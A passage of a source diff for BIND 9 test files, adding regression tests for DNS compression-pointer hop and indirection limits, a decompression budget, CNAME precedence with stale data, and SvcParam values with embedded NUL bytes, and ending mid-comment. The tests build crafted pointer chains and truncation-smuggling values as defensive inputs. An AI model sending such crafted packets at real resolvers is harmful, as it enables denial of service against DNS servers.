+ISC_RUN_TEST_IMPL(fromwire_hops_floor) { + dns_fixedname_t fixed; + dns_name_t *name = dns_fixedname_initname(&fixed); + uint8_t buf[1024]; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); + + /* + * The interop floor: a chain that gains a label per hop builds a + * perfectly legal 255 octet, 128 label name in DNS_NAME_MAXHOPS + * hops, and our own encoder emits chains of exactly this shape. + * Lowering the limit would reject conforming names. + */ + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS, true, &dctx), + ISC_R_SUCCESS); + assert_int_equal(name->length, DNS_NAME_MAXWIRE); + assert_int_equal(dns_name_countlabels(name), DNS_NAME_MAXLABELS); + + /* + * Which is also why the hop limit sits where it does: one hop + * further and a labelled chain has already overrun the name length + * limit, so the two limits meet rather than overlap. + */ + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS + 1, true, &dctx), + DNS_R_NAMETOOLONG); + + /* refusing to decompress at all still takes precedence */ + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS + 1, false, NULL), + DNS_R_DISALLOWED); +} + +/* + * Lay out a chain in which every node spends one label but three hops: + * the label is followed by a pointer to a pointer to a pointer to the + * previous node's label. That keeps each run of indirection within + * DNS_NAME_MAXINDIRECTS while letting the hop count grow three times as + * fast as the label count, so it reaches DNS_NAME_MAXHOPS long before the + * name reaches 255 octets. The name itself is a single pointer at the end + * of the chain, as in build_ptr_chain(). + * + * Node k occupies 8 octets at 1 + 8k: + * + * +0 pointer to the previous node's label (or the root at 0) + * +2 pointer to +0 + * +4 the label "a" + * +6 pointer to +2 + * + * Decompressing the name follows 1 + 3 * nodes pointers and yields a + * name of 'nodes' labels. + */ +static size_t +build_indirect_chain(uint8_t *buf, size_t size, unsigned int nodes, + size_t *name_offset) { + size_t p = 0; + + REQUIRE(1 + 8 * (size_t)nodes + 2 <= size); + + buf[p++] = 0x00; + + for (unsigned int node = 0; node < nodes; node++) { + size_t base = p; + size_t prev_label = (node == 0) ? 0 : base - 4; + + buf[p++] = 0xC0 | (prev_label >> 8); /* +0 */ + buf[p++] = prev_label & 0xFF; + buf[p++] = 0xC0 | (base >> 8); /* +2 */ + buf[p++] = base & 0xFF; + buf[p++] = 1; /* +4 */ + buf[p++] = 'a'; + buf[p++] = 0xC0 | ((base + 2) >> 8); /* +6 */ + buf[p++] = (base + 2) & 0xFF; + } + + *name_offset = p; + size_t last_label = (nodes == 0) ? 0 : p - 4; + buf[p++] = 0xC0 | (last_label >> 8); + buf[p++] = last_label & 0xFF; + + return p; +} + +static isc_result_t +fromwire_indirect_chain(dns_name_t *name, uint8_t *buf, size_t size, + unsigned int nodes, dns_decompress_t *dctx) { + isc_buffer_t b; + size_t name_offset; + size_t len = build_indirect_chain(buf, size, nodes, &name_offset); + + isc_buffer_init(&b, buf, len); + isc_buffer_add(&b, len); + isc_buffer_forward(&b, name_offset); + isc_buffer_setactive(&b, len - name_offset); + + return dns_name_fromwire(name, &b, dctx, NULL); +} + +/* + * The per-name hop limit itself. fromwire_hops_floor never reaches it: a + * labelled chain of DNS_NAME_MAXHOPS + 1 hops has already overrun the name + * length limit, and an unlabelled chain is stopped by DNS_NAME_MAXINDIRECTS + * first. Only a chain that follows several pointers per label can exceed + * DNS_NAME_MAXHOPS while staying inside both of those, and that is what + * this test builds. + */ +ISC_RUN_TEST_IMPL(fromwire_hops_limit) { + dns_fixedname_t fixed; + dns_name_t *name = NULL; + uint8_t buf[2048]; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + /* 1 + 3 * nodes hops: the most nodes that stay at or under the limit */ + const unsigned int under = (DNS_NAME_MAXHOPS - 1) / 3; + + dns_decompress_setpermitted(&dctx, true); + + /* 1 + 3 * under <= DNS_NAME_MAXHOPS: accepted, well short of 255 */ + name = dns_fixedname_initname(&fixed); + assert_int_equal( + fromwire_indirect_chain(name, buf, sizeof(buf), under, &dctx), + ISC_R_SUCCESS); + assert_int_equal(dns_name_countlabels(name), under + 1); + assert_true(name->length < DNS_NAME_MAXWIRE); + + /* + * One more node pushes the count past DNS_NAME_MAXHOPS while the + * name is still short and no run of indirection is any longer than + * before, so the hop limit is the only thing that can refuse it. + */ + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_indirect_chain(name, buf, sizeof(buf), + under + 1, &dctx), + DNS_R_BADPOINTER); + + /* + * And it is a per-name limit: a fresh name walking the accepted + * chain is charged from zero again. + */ + name = dns_fixedname_initname(&fixed); + assert_int_equal( + fromwire_indirect_chain(name, buf, sizeof(buf), under, &dctx), + ISC_R_SUCCESS); +} + +/* a pointer may lead straight to another only so many times over */ +ISC_RUN_TEST_IMPL(fromwire_indirects) { + dns_fixedname_t fixed; + dns_name_t *name = dns_fixedname_initname(&fixed); + uint8_t buf[1024]; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); + + /* + * A pointer only chain is nothing but indirection, so its length is + * exactly what this limit counts. + */ + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXINDIRECTS + 1, false, + &dctx), + ISC_R_SUCCESS); + assert_true(dns_name_equal(name, dns_rootname)); + + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXINDIRECTS + 2, false, + &dctx), + DNS_R_BADPOINTER); + + /* + * A label between two pointers resets the count, which is why this + * limit does not bound a chain that spends one per hop - see + * fromwire_budget for what does. + */ + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS, true, &dctx), + ISC_R_SUCCESS); + assert_int_equal(name->length, DNS_NAME_MAXWIRE); +} + +/* names sharing one chain are also bounded together, not just apart */ +ISC_RUN_TEST_IMPL(fromwire_budget) { + dns_fixedname_t fixed; + dns_name_t *name = NULL; + uint8_t buf[1024]; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dns_decompress_setpermitted(&dctx, true); + + /* an unmetered context is not charged, however often it is used */ + for (int i = 0; i < 4; i++) { + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS, true, + &dctx), + ISC_R_SUCCESS); + } + + /* + * A budget of one name's worth of hops buys exactly one such name. + * The second is refused even though it is within the per-name limit, + * which is the whole point: that limit cannot see how many names + * are walking the same chain. + */ + dns_decompress_setbudget(&dctx, DNS_NAME_MAXHOPS); + + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS, true, &dctx), + ISC_R_SUCCESS); + assert_int_equal(dns_decompress_getbudget(&dctx), 0); + + name = dns_fixedname_initname(&fixed); + assert_int_equal(fromwire_ptr_chain(name, buf, sizeof(buf), + DNS_NAME_MAXHOPS, true, &dctx), + DNS_R_BADPOINTER); +} + /* is trust-anchor-telemetry test */ ISC_RUN_TEST_IMPL(istat) { dns_fixedname_t fixed; @@ -1091,87 +1385,6 @@ } } -#ifdef DNS_BENCHMARK_TESTS - -/* - * XXXMUKS: Don't delete this code. It is useful in benchmarking the - * name parser, but we don't require it as part of the unit test runs. - */ - -/* Benchmark dns_name_fromwire() implementation */ - -ISC_RUN_TEST_IMPL(fromwire_thread(void *arg) { - unsigned int maxval = 32000000; - uint8_t data[] = { 3, 'w', 'w', 'w', 7, 'e', 'x', - 'a', 'm', 'p', 'l', 'e', 7, 'i', - 'n', 'v', 'a', 'l', 'i', 'd', 0 }; - unsigned char output_data[DNS_NAME_MAXWIRE]; - isc_buffer_t source, target; - unsigned int i; - dns_decompress_t dctx; - - UNUSED(arg); - - dns_decompress_init(&dctx, DNS_DECOMPRESS_STRICT); - dns_decompress_setmethods(&dctx, DNS_COMPRESS_NONE); - - isc_buffer_init(&source, data, sizeof(data)); - isc_buffer_add(&source, sizeof(data)); - isc_buffer_init(&target, output_data, sizeof(output_data)); - - /* Parse 32 million names in each thread */ - for (i = 0; i < maxval; i++) { - dns_name_t name; - - isc_buffer_clear(&source); - isc_buffer_clear(&target); - isc_buffer_add(&source, sizeof(data)); - isc_buffer_setactive(&source, sizeof(data)); - - dns_name_init(&name, NULL); - (void)dns_name_fromwire(&name, &source, &dctx, &target); - } - - return NULL; -} - -ISC_RUN_TEST_IMPL(benchmark) { - isc_result_t result; - unsigned int i; - isc_time_t ts1, ts2; - double t; - unsigned int nthreads; - isc_thread_t threads[32]; - - UNUSED(state); - - debug_mem_record = false; - - result = isc_time_now(&ts1); - assert_int_equal(result, ISC_R_SUCCESS); - - nthreads = ISC_MIN(isc_os_ncpus(), 32); - nthreads = ISC_MAX(nthreads, 1); - for (i = 0; i < nthreads; i++) { - isc_thread_create(fromwire_thread, NULL, &threads[i]); - } - - for (i = 0; i < nthreads; i++) { - isc_thread_join(threads[i], NULL); - } - - result = isc_time_now(&ts2); - assert_int_equal(result, ISC_R_SUCCESS); - - t = isc_time_microdiff(&ts2, &ts1); - - printf("%u dns_name_fromwire() calls, %f seconds, %f calls/second\n", - nthreads * 32000000, t / 1000000.0, - (nthreads * 32000000) / (t / 1000000.0)); -} - -#endif /* DNS_BENCHMARK_TESTS */ - ISC_TEST_LIST_START ISC_TEST_ENTRY(buffer) ISC_TEST_ENTRY(collision) @@ -1179,6 +1392,10 @@ ISC_TEST_ENTRY(countlabels) ISC_TEST_ENTRY(fromregion) ISC_TEST_ENTRY(fromwire) +ISC_TEST_ENTRY(fromwire_budget) +ISC_TEST_ENTRY(fromwire_hops_floor) +ISC_TEST_ENTRY(fromwire_hops_limit) +ISC_TEST_ENTRY(fromwire_indirects) ISC_TEST_ENTRY(fullcompare) ISC_TEST_ENTRY(getlabel) ISC_TEST_ENTRY(getlabelsequence) @@ -1190,9 +1407,6 @@ ISC_TEST_ENTRY(istat) ISC_TEST_ENTRY(maxlabels) ISC_TEST_ENTRY(totext) -#ifdef DNS_BENCHMARK_TESTS -ISC_TEST_ENTRY(benchmark) -#endif /* DNS_BENCHMARK_TESTS */ ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/dns/qpdb_test.c bind9-9.20.30/tests/dns/qpdb_test.c --- bind9-9.20.29/tests/dns/qpdb_test.c 2026-09-11 19:41:01.730336481 +0000 +++ bind9-9.20.30/tests/dns/qpdb_test.c 2026-10-12 13:12:08.644904979 +0000 @@ -158,6 +158,9 @@ rdatalist.rdclass = dns_rdataclass_in; rdatalist.type = rtype; rdatalist.ttl = ttl; + if (rtype == dns_rdatatype_rrsig) { + rdatalist.covers = dns_rdata_covers(&rdata); + } ISC_LIST_APPEND(rdatalist.rdata, &rdata, link); dns_rdataset_init(&rdataset); @@ -283,6 +286,335 @@ isc_loopmgr_shutdown(loopmgr); } +static const char * +precedence_rdata(dns_rdatatype_t type) { + switch (type) { + case dns_rdatatype_cname: + return "target.example.com."; + case dns_rdatatype_a: + return "10.53.0.1"; + case dns_rdatatype_ns: + return "ns.example.com."; + case dns_rdatatype_ds: + return "12345 13 2 " + "E2D3C916F6DEEAC73294E8268FB5885044A833FC5459588F4A9184C" + "F" + "C41A5766"; + default: + UNREACHABLE(); + } +} + +/* 'age' is measured from insertion; dns_rdatatype_none skips an RRset. */ +static void +check_cname_precedence(isc_mem_t *dbmctx, dns_rdatatype_t type1, + isc_stdtime_t age1, dns_rdatatype_t type2, + isc_stdtime_t age2, dns_rdatatype_t qtype, + isc_result_t expected, dns_rdatatype_t expected_type, + bool expected_stale, bool signatures) { + isc_result_t result; + dns_db_t *db = NULL; + isc_stdtime_t now = isc_stdtime_now(); + dns_fixedname_t fname, ffound; + dns_name_t *name = NULL, *foundname = NULL; + dns_rdataset_t rdataset, sigrdataset; + + db = servestale_setup(dbmctx, &fname, &name); + + if (type1 != dns_rdatatype_none) { + servestale_addrdataset(db, name, now - age1, type1, + precedence_rdata(type1), 3600, + dns_trust_answer); + } + if (type2 != dns_rdatatype_none) { + servestale_addrdataset(db, name, now - age2, type2, + precedence_rdata(type2), 3600, + dns_trust_answer); + } + + if (signatures) { + const dns_rdatatype_t types[] = { type1, type2 }; + const isc_stdtime_t ages[] = { age1, age2 }; + + for (size_t i = 0; i < ARRAY_SIZE(types); i++) { + char typebuf[DNS_RDATATYPE_FORMATSIZE], sigbuf[256]; + + if (types[i] == dns_rdatatype_none) { + continue; + } + dns_rdatatype_format(types[i], typebuf, + sizeof(typebuf)); + snprintf(sigbuf, sizeof(sigbuf), + "%s 13 2 3600 20300101000000 20200101000000 " + "12345 example.com. AA==", + typebuf); + servestale_addrdataset(db, name, now - ages[i], + dns_rdatatype_rrsig, sigbuf, + 3600, dns_trust_answer); + } + } + + foundname = dns_fixedname_initname(&ffound); + dns_rdataset_init(&rdataset); + dns_rdataset_init(&sigrdataset); + result = dns_db_find(db, name, NULL, qtype, DNS_DBFIND_STALEOK, now, + NULL, foundname, &rdataset, &sigrdataset); + + assert_int_equal(result, expected); + if (dns_rdataset_isassociated(&rdataset)) { + assert_int_equal(rdataset.type, expected_type); + assert_true(((rdataset.attributes & DNS_RDATASETATTR_STALE) != + 0) == expected_stale); + dns_rdataset_disassociate(&rdataset); + } else { + assert_int_equal(expected_type, dns_rdatatype_none); + } + assert_true(dns_rdataset_isassociated(&sigrdataset) == + (signatures && expected_type != dns_rdatatype_none)); + if (dns_rdataset_isassociated(&sigrdataset)) { + assert_int_equal(sigrdataset.type, dns_rdatatype_rrsig); + assert_int_equal(sigrdataset.covers, expected_type); + dns_rdataset_disassociate(&sigrdataset); + } + + dns_db_detach(&db); +} + +/* Check CNAME precedence for both insertion orders. */ +ISC_LOOP_TEST_IMPL(cname_precedence) { + isc_mem_t *dbmctx = NULL; + const dns_rdatatype_t cname = dns_rdatatype_cname; + const dns_rdatatype_t a = dns_rdatatype_a; + const dns_rdatatype_t ns = dns_rdatatype_ns; + const dns_rdatatype_t ds = dns_rdatatype_ds; + const dns_rdatatype_t txt = dns_rdatatype_txt; + const dns_rdatatype_t none = dns_rdatatype_none; + const isc_stdtime_t fresh = 0; + const isc_stdtime_t stale = 7200; /* expired an hour ago */ + + struct { + const dns_rdatatype_t type1; + const isc_stdtime_t rank1; + const dns_rdatatype_t type2; + const isc_stdtime_t rank2; + const dns_rdatatype_t qtype; + const isc_result_t expected_result; + const dns_rdatatype_t expected_type; + const bool expected_stale; + } testcases[] = { + /* Both fresh: the requested type wins over the alias. */ + { + .type1 = cname, + .rank1 = fresh, + .type2 = a, + .rank2 = fresh, + .qtype = a, + .expected_result = ISC_R_SUCCESS, + .expected_type = a, + .expected_stale = false, + }, + /* Fresh beats stale, in both directions and either order. */ + { + .type1 = cname, + .rank1 = stale, + .type2 = a, + .rank2 = fresh, + .qtype = a, + .expected_result = ISC_R_SUCCESS, + .expected_type = a, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = fresh, + .type2 = a, + .rank2 = stale, + .qtype = a, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + /* Both stale: the requested type wins. */ + { + .type1 = a, + .rank1 = stale, + .type2 = cname, + .rank2 = stale, + .qtype = a, + .expected_result = ISC_R_SUCCESS, + .expected_type = a, + .expected_stale = true, + }, + /* Queried type is not in cache, expect CNAME. */ + { + .type1 = cname, + .rank1 = fresh, + .type2 = a, + .rank2 = fresh, + .qtype = txt, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = fresh, + .type2 = a, + .rank2 = stale, + .qtype = txt, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = stale, + .type2 = a, + .rank2 = fresh, + .qtype = txt, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = true, + }, + { + .type1 = cname, + .rank1 = stale, + .type2 = a, + .rank2 = stale, + .qtype = txt, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = true, + }, + /* A lone CNAME answers ordinary types, including NS, but not + DS. */ + { + .type1 = cname, + .rank1 = fresh, + .type2 = none, + .rank2 = 0, + .qtype = a, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = fresh, + .type2 = none, + .rank2 = 0, + .qtype = ns, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = fresh, + .type2 = none, + .rank2 = 0, + .qtype = ds, + .expected_result = ISC_R_NOTFOUND, + .expected_type = none, + .expected_stale = false, + }, + /* A lone stale CNAME answers ordinary types, including NS, but + not DS. */ + { + .type1 = cname, + .rank1 = stale, + .type2 = none, + .rank2 = 0, + .qtype = a, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = true, + }, + { + .type1 = cname, + .rank1 = stale, + .type2 = none, + .rank2 = 0, + .qtype = ns, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = true, + }, + { + .type1 = cname, + .rank1 = stale, + .type2 = none, + .rank2 = 0, + .qtype = ds, + .expected_result = ISC_R_NOTFOUND, + .expected_type = none, + .expected_stale = false, + }, + /* Delegation data beside a CNAME is found by its own type. */ + { + .type1 = cname, + .rank1 = fresh, + .type2 = ds, + .rank2 = fresh, + .qtype = ds, + .expected_result = ISC_R_SUCCESS, + .expected_type = ds, + .expected_stale = false, + }, + { + .type1 = cname, + .rank1 = fresh, + .type2 = ns, + .rank2 = fresh, + .qtype = ns, + .expected_result = ISC_R_SUCCESS, + .expected_type = ns, + .expected_stale = false, + }, + /* DS does not hide a CNAME from ordinary queries. */ + { + .type1 = cname, + .rank1 = fresh, + .type2 = ds, + .rank2 = fresh, + .qtype = a, + .expected_result = DNS_R_CNAME, + .expected_type = cname, + .expected_stale = false, + }, + }; + + isc_mem_create(&dbmctx); + + for (size_t i = 0; i < ARRAY_SIZE(testcases); i++) { + const dns_rdatatype_t type1 = testcases[i].type1; + const isc_stdtime_t rank1 = testcases[i].rank1; + const dns_rdatatype_t type2 = testcases[i].type2; + const isc_stdtime_t rank2 = testcases[i].rank2; + const dns_rdatatype_t qtype = testcases[i].qtype; + const isc_result_t expected_result = + testcases[i].expected_result; + const dns_rdatatype_t expected_type = + testcases[i].expected_type; + const bool expected_stale = testcases[i].expected_stale; + + for (unsigned int signatures = 0; signatures < 2; signatures++) + { + check_cname_precedence(dbmctx, type1, rank1, type2, + rank2, qtype, expected_result, + expected_type, expected_stale, + signatures != 0); + check_cname_precedence(dbmctx, type2, rank2, type1, + rank1, qtype, expected_result, + expected_type, expected_stale, + signatures != 0); + } + } + + isc_mem_detach(&dbmctx); + isc_loopmgr_shutdown(loopmgr); +} + /* * Regression test for the secure-data check in add() binding an ancient * header. A validated RRset whose TTL passed more than QPDB_VIRTUAL @@ -594,6 +926,7 @@ teardown_managers) ISC_TEST_ENTRY_CUSTOM(proof_rdataset_keeps_slabheader, setup_managers, teardown_managers) +ISC_TEST_ENTRY_CUSTOM(cname_precedence, setup_managers, teardown_managers) ISC_TEST_LIST_END ISC_TEST_MAIN diff -Nru bind9-9.20.29/tests/dns/rdata_test.c bind9-9.20.30/tests/dns/rdata_test.c --- bind9-9.20.29/tests/dns/rdata_test.c 2026-09-11 19:41:01.731336505 +0000 +++ bind9-9.20.30/tests/dns/rdata_test.c 2026-10-12 13:12:08.645905000 +0000 @@ -35,6 +35,7 @@ #include #include +#include #include #include @@ -129,6 +130,9 @@ dns_rdata_t *rdata) { isc_buffer_t source, target; isc_result_t result; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dctx.policy = DNS_DECOMPRESS_ALWAYS; /* * Set up len-octet buffer pointing at data. @@ -145,8 +149,8 @@ /* * Try converting input data into uncompressed wire form. */ - result = dns_rdata_fromwire(rdata, rdclass, type, &source, - DNS_DECOMPRESS_ALWAYS, &target); + result = dns_rdata_fromwire(rdata, rdclass, type, &source, &dctx, + &target); detect_uncleared_libcrypto_error(); return result; @@ -2084,6 +2088,7 @@ result = wire_to_rdata(hipwire, sizeof(hipwire), dns_rdataclass_in, dns_rdatatype_hip, buf, sizeof(buf), &rdata); assert_int_equal(result, DNS_R_FORMERR); + check_text_ok(text_ok, dns_rdataclass_in, dns_rdatatype_hip, sizeof(dns_rdata_hip_t)); } @@ -2287,13 +2292,16 @@ unsigned char buf[sizeof(key)]; isc_buffer_t source, target; isc_result_t result; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dctx.policy = DNS_DECOMPRESS_ALWAYS; isc_buffer_init(&source, key, sizeof(key)); isc_buffer_add(&source, sizeof(key)); isc_buffer_setactive(&source, sizeof(key) - 1); isc_buffer_init(&target, buf, sizeof(buf)); result = dns_rdata_fromwire(NULL, dns_rdataclass_in, dns_rdatatype_key, - &source, DNS_DECOMPRESS_ALWAYS, &target); + &source, &dctx, &target); assert_int_not_equal(result, ISC_R_SUCCESS); } @@ -2883,6 +2891,41 @@ dns_rdatatype_sshfp, sizeof(dns_rdata_sshfp_t)); } +ISC_RUN_TEST_IMPL(uri) { + text_ok_t text_ok[] = { /* + * Too short. + */ + TEXT_INVALID(""), TEXT_INVALID("0"), + TEXT_INVALID("0 0"), + /* + * An empty URI field is not permitted. + */ + TEXT_INVALID("0 0 \"\""), + /* + * A non empty URI field. + */ + TEXT_VALID("0 0 \" \""), TEXT_SENTINEL() + }; + wire_ok_t wire_ok[] = { /* + * Too short. + */ + WIRE_INVALID(0x00), WIRE_INVALID(0x00, 0x00), + WIRE_INVALID(0x00, 0x00, 0x00), + /* + * An empty URI field is not permitted. + */ + WIRE_INVALID(0x00, 0x00, 0x00, 0x00), + /* + * A non empty URI field. + */ + WIRE_VALID(0x00, 0x00, 0x00, 0x00, 0x00), + WIRE_SENTINEL() + }; + + check_rdata(text_ok, wire_ok, NULL, false, dns_rdataclass_in, + dns_rdatatype_uri, sizeof(dns_rdata_uri_t)); +} + ISC_RUN_TEST_IMPL(wallet) { text_ok_t text_ok[] = { TEXT_VALID_CHANGED("cid-example wid-example", "\"cid-example\" " @@ -3280,6 +3323,74 @@ } /* + * A raw NUL byte embedded in a quoted SvcParam value must be rejected + * with DNS_R_SYNTAX rather than silently truncated. The dns_test_* + * helpers build the lexer input with strlen() and so cannot carry an + * embedded NUL, so parse an explicit-length buffer here directly. + */ +static void +svcb_nullmsg(dns_rdatacallbacks_t *cb, const char *fmt, ...) { + UNUSED(cb); + UNUSED(fmt); +} + +static void +check_svcb_nulbyte(const unsigned char *data, size_t len) { + unsigned char buf[1024]; + dns_rdata_t rdata = DNS_RDATA_INIT; + dns_rdatacallbacks_t callbacks; + isc_lexspecials_t specials = { 0 }; + isc_buffer_t source, target; + isc_lex_t *lex = NULL; + isc_result_t result; + + isc_buffer_constinit(&source, data, len); + isc_buffer_add(&source, len); + + isc_lex_create(mctx, 64, &lex); + specials['('] = 1; + specials[')'] = 1; + specials['"'] = 1; + isc_lex_setspecials(lex, specials); + isc_lex_setcomments(lex, ISC_LEXCOMMENT_DNSMASTERFILE); + + result = isc_lex_openbuffer(lex, &source); + assert_int_equal(result, ISC_R_SUCCESS); + + isc_buffer_init(&target, buf, sizeof(buf)); + + dns_rdatacallbacks_init(&callbacks); + callbacks.warn = callbacks.error = svcb_nullmsg; + + result = dns_rdata_fromtext(&rdata, dns_rdataclass_in, + dns_rdatatype_svcb, lex, dns_rootname, 0, + mctx, &target, &callbacks); + assert_int_equal(result, DNS_R_SYNTAX); + + isc_lex_destroy(&lex); +} + +ISC_RUN_TEST_IMPL(https_svcb_nulbyte) { + /* port="53\0..." must not parse as port 53. */ + const unsigned char port[] = "1 svc.example.net. port=\"53\0x\"\n"; + /* ech="\0..." must not parse as the truncated prefix. */ + const unsigned char ech[] = "1 svc.example.net. ech=\"abcd\0efgh\"\n"; + /* ipv4hint="1.2.3.4\0..." must not parse as 1.2.3.4. */ + const unsigned char ipv4[] = "1 svc.example.net. " + "ipv4hint=\"1.2.3.4\0x\"\n"; + /* ipv6hint="2001:db8::1\0..." must not parse as 2001:db8::1. */ + const unsigned char ipv6[] = "1 svc.example.net. " + "ipv6hint=\"2001:db8::1\0x\"\n"; + + UNUSED(state); + + check_svcb_nulbyte(port, sizeof(port) - 1); + check_svcb_nulbyte(ech, sizeof(ech) - 1); + check_svcb_nulbyte(ipv4, sizeof(ipv4) - 1); + check_svcb_nulbyte(ipv6, sizeof(ipv6) - 1); +} + +/* * ZONEMD tests. * * Excerpted from RFC 8976: @@ -3535,6 +3646,204 @@ dns_rdatatype_zonemd, sizeof(dns_rdata_zonemd_t)); } +/* + * Preserve the 9.20 per-type compression policies, and verify that ALWAYS + * overrides them without disabling the shared budget. Each wire buffer + * starts with "example.com." so the pointers in the RDATA refer to a + * valid name. Parsing starts after that name. + */ +ISC_RUN_TEST_IMPL(decompression_permitted) { +#define OWNER 0x07, 'e', 'x', 'a', 'm', 'p', 'l', 'e', 0x03, 'c', 'o', 'm', 0x00 + static const size_t OWNER_LEN = 13; + static const unsigned char mx_wire[] = { + OWNER, 0x00, 0x0a, /* preference */ + 0xc0, 0x00, /* exchange: pointer */ + }; + static const unsigned char rp_wire[] = { + OWNER, 0xc0, 0x00, /* mbox: pointer */ + 0xc0, 0x00, /* txt: pointer */ + }; + static const unsigned char afsdb_wire[] = { + OWNER, 0x00, 0x01, /* subtype */ + 0xc0, 0x00, /* hostname: pointer */ + }; + static const unsigned char rt_wire[] = { + OWNER, 0x00, 0x0a, /* preference */ + 0xc0, 0x00, /* intermediate host: pointer */ + }; + static const unsigned char sig_wire[] = { + OWNER, 0x00, 0x01, 0x08, 0x02, /* covered/algorithm/labels */ + 0x00, 0x00, 0x0e, 0x10, /* original TTL */ + 0x00, 0x00, 0x00, 0x00, /* expiration */ + 0x00, 0x00, 0x00, 0x00, /* inception */ + 0x00, 0x01, /* key tag */ + 0xc0, 0x00, /* signer: pointer */ + 0x01, /* signature */ + }; + static const unsigned char px_wire[] = { + OWNER, 0x00, 0x0a, /* preference */ + 0xc0, 0x00, /* MAP822: pointer */ + 0xc0, 0x00, /* MAPX400: pointer */ + }; + /* next domain: pointer */ + static const unsigned char nxt_wire[] = { OWNER, 0xc0, 0x00 }; + static const unsigned char naptr_wire[] = { + OWNER, 0x00, 0x0a, 0x00, 0x14, /* order/preference */ + 0x00, 0x00, 0x00, /* flags/service/regexp */ + 0xc0, 0x00, /* replacement: pointer */ + }; + static const unsigned char srv_wire[] = { + OWNER, 0x00, 0x0a, 0x00, + 0x14, 0x00, 0x50, /* priority/weight/port */ + 0xc0, 0x00, /* target: pointer */ + }; + /* target: pointer */ + static const unsigned char dname_wire[] = { OWNER, 0xc0, 0x00 }; +#undef OWNER + + const struct { + const unsigned char *wire; + size_t wire_len; + dns_rdatatype_t type; + isc_result_t expected; + } cases[] = { + { mx_wire, sizeof(mx_wire), dns_rdatatype_mx, ISC_R_SUCCESS }, + { rp_wire, sizeof(rp_wire), dns_rdatatype_rp, + DNS_R_DISALLOWED }, + { afsdb_wire, sizeof(afsdb_wire), dns_rdatatype_afsdb, + DNS_R_DISALLOWED }, + { rt_wire, sizeof(rt_wire), dns_rdatatype_rt, + DNS_R_DISALLOWED }, + { sig_wire, sizeof(sig_wire), dns_rdatatype_sig, + DNS_R_DISALLOWED }, + { px_wire, sizeof(px_wire), dns_rdatatype_px, + DNS_R_DISALLOWED }, + { nxt_wire, sizeof(nxt_wire), dns_rdatatype_nxt, + DNS_R_DISALLOWED }, + { naptr_wire, sizeof(naptr_wire), dns_rdatatype_naptr, + DNS_R_DISALLOWED }, + { srv_wire, sizeof(srv_wire), dns_rdatatype_srv, + DNS_R_DISALLOWED }, + { dname_wire, sizeof(dname_wire), dns_rdatatype_dname, + DNS_R_DISALLOWED }, + }; + + for (dns_decompress_policy_t policy = DNS_DECOMPRESS_DEFAULT; + policy <= DNS_DECOMPRESS_ALWAYS; policy++) + { + for (size_t i = 0; i < ARRAY_SIZE(cases); i++) { + isc_buffer_t source, target; + unsigned char buf[256]; + dns_rdata_t rdata = DNS_RDATA_INIT; + isc_result_t result; + dns_decompress_t dctx = DNS_DECOMPRESS_INITIALIZER; + + dctx.policy = policy; + + isc_buffer_constinit(&source, cases[i].wire, + cases[i].wire_len); + isc_buffer_add(&source, cases[i].wire_len); + isc_buffer_forward(&source, OWNER_LEN); + isc_buffer_setactive(&source, + cases[i].wire_len - OWNER_LEN); + + isc_buffer_init(&target, buf, sizeof(buf)); + + result = dns_rdata_fromwire(&rdata, dns_rdataclass_in, + cases[i].type, &source, + &dctx, &target); + assert_int_equal(result, policy == DNS_DECOMPRESS_ALWAYS + ? ISC_R_SUCCESS + : cases[i].expected); + if (result == ISC_R_SUCCESS) { + assert_true(dns_decompress_getbudget(&dctx) < + UINT32_MAX); + + /* ALWAYS still honors an exhausted budget. */ + isc_buffer_first(&source); + isc_buffer_forward(&source, OWNER_LEN); + isc_buffer_clear(&target); + dns_rdata_reset(&rdata); + dns_decompress_setbudget(&dctx, 0); + result = dns_rdata_fromwire( + &rdata, dns_rdataclass_in, + cases[i].type, &source, &dctx, &target); + assert_int_equal(result, DNS_R_BADPOINTER); + } + } + } +} + +/* + * Even where compression is permitted, a name may only be assembled out + * of so many pointers. Nothing in RFC 1035 bounds a chain of them, and a + * pointer that lands on another pointer adds no octets, so the name + * length limits never notice it. + * + * Lay out a chain that ends at a root label at offset zero, each node + * pointing at the node before it, and put a MINFO rdata after it whose + * RMAILBX is a 